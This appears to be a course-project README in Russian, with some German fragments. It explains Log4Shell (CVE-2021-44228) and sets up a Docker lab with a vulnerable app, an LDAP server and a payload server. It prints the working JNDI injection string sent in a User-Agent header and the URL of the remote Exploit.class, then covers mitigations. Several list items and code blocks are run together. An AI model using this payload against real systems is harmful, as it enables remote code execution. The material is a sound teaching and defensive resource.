
Практическая демонстрация уязвимости Log4Shell (CVE-2021-44228)
Этот репозиторий предназначен исключительно для образовательных и демонстрационных целей в рамках курсовой работы по безопасности. Не используйте этот код в производственных средах или против систем без явного разрешения. Данная демонстрация призвана повысить осведомленность о безопасности и показать, как могут возникать сложные уязвимости, когда, казалось бы, безобидные функции, такие как логирование, разрешение имен и динамическая загрузка классов, комбинируются друг с другом.
Цель этой курсовой работы — дать глубокое понимание уязвимости Log4Shell (CVE-2021-44228), которая стала известна в декабре 2021 года и была признана одной из самых критических уязвимостей за последние годы. В работе объясняются как теоретические основы, так и проводится практическая демонстрация уязвимости.
Для практической иллюстрации уязвимости Log4Shell в этом репозитории создана изолированная и контейнеризованная среда, которая воспроизводит полный ход атаки. Демонстрация основана на трех основных компонентах:
User-Agent из HTTP-запроса, который злоумышленники могут манипулировать, чтобы использовать уязвимость.Exploit.class). Как и LDAP-сервер, этот сервер находится под контролем злоумышленника.Примечание: Дополнительная информация о настройке и запуске демонстрации находится в разделах 4. Структура проекта и настройка и 5. Демонстрация проекта.
Log4Shell — это название критической уязвимости в Java-библиотеке Log4j с идентификатором CVE-2021-44228. Она позволяет злоумышленнику с минимальными усилиями выполнить произвольный код на удаленном сервере (Remote Code Execution, сокращенно RCE).
Уязвимость затрагивает Log4j версий 2.0–2.14.1 и настолько серьезна, что многие органы безопасности, включая BSI (Федеральное ведомство по безопасности в информационной технологии), присвоили ей наивысший уровень опасности.
Log4Shell особенно опасна, потому что ...
Основная причина заключается в функциональности Log4j, которая позволяет загружать динамическое содержимое в сообщения журнала с помощью так называемых Lookups. В сочетании с JNDI (Java Naming and Directory Interface) и протоколом LDAP (Lightweight Directory Access Protocol) это позволяет загружать и выполнять удаленные вредоносные Java-классы.
Обнаружение и публикация уязвимости вызвала волну безопасности по всему миру. Многие системы пришлось срочно патчить или отключать. Впоследствии стали известны другие связанные уязвимости (например, CVE-2021-45046), что показывает, насколько глубокой и опасной была проблема.
Далее подробно описываются задействованные технологии и их взаимодействие, чтобы глубже понять уязвимость.
Log4j — это библиотека, созданная Apache для регистрации событий в Java-приложениях. Логирование является центральным инструментом в разработке программного обеспечения для мониторинга систем или анализа ошибок. Log4j — одна из самых известных и широко используемых платформ ведения журналов в экосистеме Java, применяемая как в небольших приложениях, так и в крупных корпоративных системах.
Во время работы программы возникают, например, следующие события:
Эти события можно документировать с помощью журналов (логов), обычно в виде текстового вывода на консоль, в файлы или по сетевым протоколам на центральные серверы журналов. Благодаря разумному логированию можно понять, что приложение когда сделало.
Log4j предоставляет гибкую, высоконастраиваемую инфраструктуру для создания и обработки сообщений журнала. К основным функциям относятся:
DEBUG, INFO, WARN, ERROR), с помощью которых можно управлять детализацией журнала.Другие функции, актуальные для данной курсовой работы, будут рассмотрены в последующих разделах, в частности функциональность заполнителей и функциональность поиска (Lookup).
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
В этом простом примере создается или извлекается экземпляр логгера, если он уже существует. Затем выводится сообщение журнала на уровне `INFO`. Log4j занимается форматированием и выводом сообщения на основе конфигурации. Пример конфигурации может выглядеть следующим образом:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Эта конфигурация определяет Appender, который выводит лог-сообщения в формате Datum Uhrzeit Log-Level Loggername - Nachricht на консоль. Затем этот Appender назначается Root-Logger, который обрабатывает все лог-сообщения, начиная с уровня INFO.
Вывод может выглядеть так:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Теперь перейдем к конкретным функциям Log4j, которые наиболее актуальны для уязвимости Log4Shell.
#### Заполнители в сообщениях лога
Очень полезной функцией Log4j является поддержка **заполнителей** в сообщениях лога. Так можно вставлять динамическое содержимое во время выполнения в вывод лога:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
При этом во время выполнения {} заменяется фактическим значением переменной username. Это приводит к следующему выводу:```text
"Benutzer angemeldet: Alice"
#### Динамические выражения (Lookups)
Наряду с простыми заполнителями Log4j также предоставляет возможность разрешать более сложные выражения непосредственно в сообщении журнала. Эта функция называется **Lookup**: она позволяет динамически вставлять значения во время выполнения (например, переменные окружения, системную информацию или значения конфигурации).
Примеры таких динамических выражений:
- `${env:HOME}` - возвращает значение переменной окружения `HOME`. В Linux / macOS это, например, `/home/username`.
- `${docker:...}` - может предоставлять информацию о Docker-контейнере, в котором запущено приложение.
- `${jndi:...}` - выполняет JNDI-поиск для загрузки внутренних или внешних ресурсов.
В следующем разделе функциональность JNDI будет рассмотрена более подробно, поскольку она играет центральную роль в уязвимости Log4Shell.
### 3.2 JNDI - механизм Lookup
**JNDI** расшифровывается как _Java Naming and Directory Interface_ и представляет собой стандартизированный Java API, который позволяет обращаться к **службам имен и каталогов**. С помощью JNDI Java-приложения могут ссылаться на ресурсы не напрямую через технические пути, а через символические имена.
Классическое применение JNDI — поиск подключений к базам данных, который вы видите здесь:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
Сначала создается InitialContext, который является точкой входа для разрешения имен с помощью JNDI. Затем с помощью метода lookup ищется ресурс. В данном случае это источник данных (DataSource) с символическим именем java:/comp/env/jdbc/myDB.

Java-приложение использует не зависящий от протокола интерфейс JNDI, который содержит такие классы, как InitialContext с методом lookup. API всегда одинаков, независимо от того, используется ли LDAP, DNS и т.д. Naming Manager выступает в роли посредника и выбирает подходящего Service Provider, который берет на себя фактическую связь. JNDI SPI (Service Provider Interface) представляет собой набор классов, реализующих функциональность JNDI для различных протоколов. В нашем случае соответствующий Service Provider — LDAP.
В следующем разделе мы подробнее рассмотрим Service Provider LDAP.
LDAP расшифровывается как Lightweight Directory Access Protocol и представляет собой стандартизированный сетевой протокол, обеспечивающий доступ к так называемым службам каталогов. Изначально он был разработан как облегченная альтернатива X.500 и сегодня является стандартом во многих корпоративных сетях, особенно для централизованного управления пользователями и правами доступа.
Служба каталогов — это структурированная база данных, которая хранит информацию в иерархической форме. В отличие от реляционных баз данных, каталог:

Как видно на изображении, LDAP-каталог организован в виде древовидной структуры. На корневом уровне находятся Domain Components (dc). Ниже могут располагаться Organizational Units (ou), которые представляют собой подразделы, например, Users. Для отдельных пользователей или объектов существуют Common Names (cn), которые идентифицируют конкретную запись и могут содержать различные атрибуты.
Значения:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameТеперь рассмотрим, как осуществляется обращение к LDAP и какую роль он играет в уязвимости Log4Shell.
В LDAP также можно хранить ссылки на внешние классы, которые могут быть загружены по мере необходимости. Это делается с помощью специальных атрибутов, таких как javaClassName и javaCodeBase. Эти атрибуты могут указывать на URL, с которого должна загружаться Java-класс.
С помощью следующего URL мы можем, например, запросить объект, который ссылается на Java-класс:``` ldap://ldap-server:1389/Exploit

Как видно на изображении, запись LDAP содержит атрибут `javaClassName`, который ссылается на класс `Exploit`. С помощью атрибута `javaCodeBase` указывается URL, откуда должен загружаться класс. В данном случае это HTTP-сервер с адресом `http://payload-server/`, предоставляющий `Exploit.class`.
Теперь мы подробно рассмотрели все технические компоненты. В следующем разделе будет описан общий ход эксплуатации уязвимости Log4Shell, чтобы понять, как эти технологии взаимодействуют и какой вектор атаки возникает.
### 3.4 Общий ход эксплуатации Log4Shell
После того как мы отдельно рассмотрели три задействованные технологии — **Log4j** как фреймворк для логирования, **JNDI** как интерфейс для службы каталогов и **LDAP** как конкретную службу каталогов, — становится ясно, насколько опасным может быть их сочетание, если не приняты меры безопасности.
В версиях Log4j до 2.14.1 была возможность выполнять так называемые **Lookups** непосредственно в сообщениях журнала. Это позволяло внедрять JNDI-запросы через LDAP, которые затем могли загружать и выполнять произвольные Java-классы с удалённого сервера без явного включения этой функциональности.
#### Конкретный сценарий взаимодействия:
Теперь применим только что изученное на конкретном примере. В качестве первого шага запустим JNDI-поиск с помощью следующего выражения:```text
${jndi:...}
Теперь используем LDAP-провайдер услуг для загрузки удаленного Java-класса ldap://ldap-server:1389/Exploit. Вместе это дает следующую строку:```text
${jndi:ldap://ldap-server:1389/Exploit}
Теперь злоумышленнику остаётся только обеспечить попадание этой строки в сообщение журнала, например, путём манипуляции HTTP-заголовком.

Как видно на изображении, слева находится злоумышленник, который хостит собственный LDAP-сервер и сервер полезной нагрузки. Справа — уязвимое приложение с Log4j версии 2.14.1. Ход атаки выглядит следующим образом:
1. Злоумышленник отправляет HTTP-запрос приложению и вносит показанную выше манипулированную строку, например, в заголовок `User-Agent`: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j распознает ${jndi:...} и автоматически выполняет JNDI-запрос через указанный протокол ldap
Теперь вызывается поставщик LDAP-сервиса для разрешения указанного URL ldap://ldap-server:1389/Exploit.
LDAP-сервер отвечает ссылкой на внешний Java-класс (Exploit.class), который находится на следующем сервере: ```
http://payload-server:8000/Exploit.class
Приложение отправляет запрос на сервер полезной нагрузки, чтобы загрузить Exploit.class.
Сервер полезной нагрузки отвечает Java-классом Exploit.class. Затем этот класс выполняется без какой-либо проверки. Таким образом, злоумышленник получает полный контроль над кодом, выполняемым на уязвимом сервере.
Потому что:
Взаимодействие динамических поисков в Log4j, гибкого разрешения имён через JNDI и протокола LDAP создаёт неожиданную поверхность атаки. То, что изначально задумывалось как мощная функция конфигурации, стало шлюзом для удалённого выполнения кода.
В следующем разделе описывается структура проекта и настройка демонстрации для локального воспроизведения уязвимости.
Структура проекта отражает три основных компонента:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 Предварительные требования
Для локального запуска демонстрации Log4Shell необходимы следующие компоненты:
#### Docker & Docker Compose
Вся инфраструктура основана на контейнерах. Docker обеспечивает работу каждого компонента (vulnerable-app, ldap-server, payload-server) в изолированной среде.
- **Docker**:
Инструкция по установке: [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (входит в состав Docker Desktop)
Альтернативная установка: [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
Для выполнения атаки через командную строку можно использовать инструмент `curl`:
- Уже предустановлен в Linux/macOS
- В Windows — через [https://curl.se/](https://curl.se/) или в Git Bash
> **Примечание:** Приложение и все входящие в него серверы работают локально на вашем компьютере и взаимодействуют исключительно в пределах изолированной сети Docker (`log4shell-network`). Никакого подключения к внешним серверам не требуется и не осуществляется.
### 4.3 Настройка
В этом разделе описывается, как настроить и запустить окружение локально.
#### Шаг 1: Клонирование репозитория```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
С помощью Docker Compose можно запустить все необходимые службы одной командой:```bash docker-compose up --build
`docker-compose up --build` вызывает:
- Образы для `vulnerable_app`, `ldap_server` и `payload_server` собираются
- Все три сервиса запускаются
- Они взаимодействуют через общую внутреннюю сеть Docker (`log4shell-network`)
После успешного запуска приложение доступно по следующему адресу:```
http://localhost:8080
Логи и события отображаются в реальном времени в консоли. Контейнеры работают, пока открыто окно терминала (или процесс выполняется в фоновом режиме).
Примечание: Убедитесь, что на портах 8080, 1389 или 8000 не запущены другие службы, чтобы избежать конфликтов.
Если вы хотите закрыть контейнеры, вы можете сделать это с помощью
docker-compose down. При этом все работающие контейнеры будут остановлены и удалены, но образы останутся.
В этом разделе показано, как целенаправленно вызвать уязвимость Log4Shell в предоставленной демонстрационной среде. При этом все ранее запущенные компоненты работают вместе:
User-Agent с помощью Log4jExploit.class)Для выполнения демонстрации вам понадобятся два окна консоли. Сначала запустите среду с помощью docker-compose up --build в одном терминале, если вы еще этого не сделали. Во втором терминале выполните следующие шаги:
Проверьте, что файл еще не существует:
Поскольку это демонстрация, в качестве эксплойта создается только пустой файл, чтобы продемонстрировать успешное выполнение. Это видно из класса payload-server/Exploit.java. Чтобы проверить, что файл еще не существует, выполните следующую команду: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Если файл не существует, должно появиться сообщение об ошибке, например No such file or directory. Это подтверждает, что эксплойт еще не был выполнен.
Erklärung des Payloads:
${jndi:...}: Log4j interpretiert diesen Ausdruck automatisch und führt einen JNDI-Lookup durch.ldap://ldap-server:1389: Verbindet sich mit dem LDAP-Server, der im Docker-Netzwerk läuft./Exploit: Name des LDAP-Eintrags, der auf die schädliche Klasse verweist.http://localhost:8080: Die URL der verwundbaren Anwendung, an die Sie die Anfrage senden, um die Log4j-Schwachstelle auszulösen.Was passiert im Hintergrund?

User-Agent-Header loggenUser-Agent-Header aus und führt einen JNDI-Lookup über LDAP durchExploit.class, welche der Payload-Server bereitstelltHinweis: Wie bereits erwähnt, wird in dieser Demo lediglich eine leere Datei erstellt, um die erfolgreiche Ausführung zu demonstrieren. In echten Angriffsszenarien könnte beliebiger Code ausgeführt werden!
Angriffsfolge überprüfen
Nun können Sie erneut überprüfen, ob die Datei /tmp/remote_code_execution im Container erstellt wurde: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Если атака прошла успешно, вы должны увидеть следующий вывод: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
С помощью всего одной манипулированной строки журнала запускается полный процесс удаленного выполнения кода — именно это делает Log4Shell таким опасным. Эта демонстрация показывает, как взаимодействие **Log4j**, **JNDI** и **LDAP** может привести к эксплуатации.
## 6. Меры защиты
Уязвимость Log4Shell показала, насколько глубоко современные приложения могут быть скомпрометированы, казалось бы, безобидными функциями. Чтобы эффективно защитить системы от таких атак, следует реализовать следующие меры:
- **Обновить версию Log4j (как минимум 2.17.1)**
Самая важная мера — **обновление до версии Log4j ≥ 2.17.1**, поскольку только начиная с этой версии были устранены все известные уязвимости (включая DoS и эксплуатацию конфигурации). Более ранние версии по-прежнему уязвимы и не должны использоваться!
- **Отключить JNDI-поиски**
Если полное обновление невозможно, следует **отключить JNDI-поиски**. Это можно сделать в файле `log4j2.properties`, установив следующую конфигурацию: ```properties
log4j2.formatMsgNoLookups=true
Эта настройка предотвращает обработку JNDI-запросов Log4j в сообщениях журнала. Это значительно уменьшает поверхность атаки. Однако это лишь временное решение, так как другие уязвимости (DoS, эксплуатация конфигурации) могут сохраняться.
Валидация входных данных
Все пользовательские вводы должны быть проверены и очищены перед использованием в сообщениях журнала. В частности, динамические выражения типа ${jndi:...} не должны быть приняты напрямую.
Ограничение исходящих сетевых соединений
Ключевой частью эксплойта был беспрепятственный доступ к внешним серверам, контролируемым злоумышленником. Системы следует настраивать так, чтобы они не могли достигать произвольных внешних целей, например, с помощью межсетевых экранов или сетевых политик. В частности, из приложения следует заблокировать доступ к неизвестным LDAP-целям.
Уязвимость Log4Shell наглядно демонстрирует, насколько важно полагаться не только на безопасность собственного кода, но и тщательно выбирать и понимать используемые библиотеки и фреймворки. В данном случае, казалось бы, безобидная библиотека логирования (Log4j) привела к уязвимости удалённого выполнения кода. Это показывает, что даже зависимости могут стать точкой входа для эксплойтов. Всегда стоит задавать себе вопрос, действительно ли нужна внешняя библиотека или функцию можно реализовать без дополнительных зависимостей.
Ещё один важный момент — скрытая сложность. Функции вроде ${env:HOME} внутри сообщения журнала выглядят безобидно, но скрывают сложные механизмы, такие как динамические запросы. Из-за этого может незаметно проникнуть опасное поведение. Вместо этого лучше использовать явные и прозрачные решения, например, System.getenv("HOME"), так вы сохраняете контроль и можете отследить, что происходит.
Кроме того, существует общее, но часто игнорируемое правило: Никогда не обрабатывать пользовательские вводы без проверки. Особенно в операциях, связанных с безопасностью, таких как запись в журнал, доступ к базе данных или системные команды, вводы должны проверяться и очищаться.
Наконец, этот инцидент показывает, насколько опасно, когда мощные функции, такие как JNDI-запросы, включены по умолчанию. Если бы эта функция не была включена по умолчанию в Log4j, пострадала бы лишь небольшая часть систем.
Ключевые выводы: